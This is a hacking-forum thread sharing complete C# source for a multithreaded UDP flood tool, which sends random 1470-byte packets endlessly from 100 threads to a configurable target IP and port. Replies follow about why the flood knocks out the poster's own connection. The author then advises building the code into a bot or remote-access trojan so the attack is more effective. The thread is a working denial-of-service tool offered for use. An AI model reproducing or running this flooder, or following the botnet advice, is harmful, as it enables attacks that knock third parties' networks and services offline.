Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[C#][VB.NET] MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple

Haven't tried but programaticaly it should work.

Code
// MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
// visit my website : http://www.malwares-in.net
// Give credits if you use this code, thanks

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;

namespace UDPflooder
{
    class Program
    {
  //Config
  private static string DESTINATION_IP_ADDRESS = "127.0.0.1";
  private static int DESTINATION_PORT = 80;
  private static int UDP_THREADS = 100;
  private static int UDP_SOCKETS = 5;
  private static int UDP_DELAY = 1000;  // loop every 1000ms
  //End Config

  private static void SendUDP()
  {
    System.Threading.Thread newThread;
    newThread = new Thread(new ThreadStart(UDPsender));
    newThread.Start();
  }

  public static void UDPsender()
  {
    IPAddress destinationIPaddress = IPAddress.Parse(DESTINATION_IP_ADDRESS);
    IPEndPoint ep = new IPEndPoint(destinationIPaddress, DESTINATION_PORT);
    Random rnd = new Random();
    Byte[] b = new Byte[1470];
    rnd.NextBytes(b);
    for (int i = 0; i < UDP_SOCKETS; i++)
    {
    Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
    s.SendTo(b, ep);
    Thread.Sleep(UDP_DELAY);
    }

  }

  static void Main(string[] args)
  {
    while (true)
    {
    for (int i = 0; i < UDP_THREADS; i++)
    {
    SendUDP();
    }
    }

  }
    }
}
Nice T0fx, I'm studying the code at the moment, I want to learn how to multi-thread I've never done it before xD

Thanks for the source <3
(Jun 12, 2010 01:20 PM)Diebspiel Wrote:  VB.NET

thanks for translation, I edited the thread topic name.
By having 100 threads going won't that cause the computer to crash or go extremely slow?
Is it normal that while running this that I get knocked off my internet connection? I checked my network activity and it is still sending the packets, just I can't actually connect to anything else.
Nice post as always t0fx, and would you please tell me the meaning of that integer "1470" in the source, I mean why does it have to be 1470 and not another one?
Code
Byte[] b = new Byte[1470];
sorry for the n00b question 😝
(Oct 23, 2010 10:00 AM)Ĥ4Ж0Ŕ Wrote:  Nice post as always t0fx, and would you please tell me the meaning of that integer "1470" in the source, I mean why does it have to be 1470 and not another one?
Code
Byte[] b = new Byte[1470];
sorry for the n00b question 😝

I read that it's the max size a windows packet can handle.
(Oct 23, 2010 02:53 PM)Modesty Wrote:  You are bottlenecking your own network. It's like trying to dos something with 500 threads that are sending packets, yet its going to fuck over your connection first.

right, you have to use this code into a bot or a rat, so you will not fuck your own connection and it will be more effective.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by DoomslayerMar 16, 2021 08:19 AM 9 339 Mar 16, 2021 08:19 AM
Last Post: synchronizing
[C#] by indetectableSep 20, 2020 05:12 AM 13 444 Sep 20, 2020 05:12 AM
Last Post: riu41776
[Python] by xPrimodyJul 27, 2020 01:55 PM 3 163 Jul 27, 2020 01:55 PM
Last Post: Pernat1y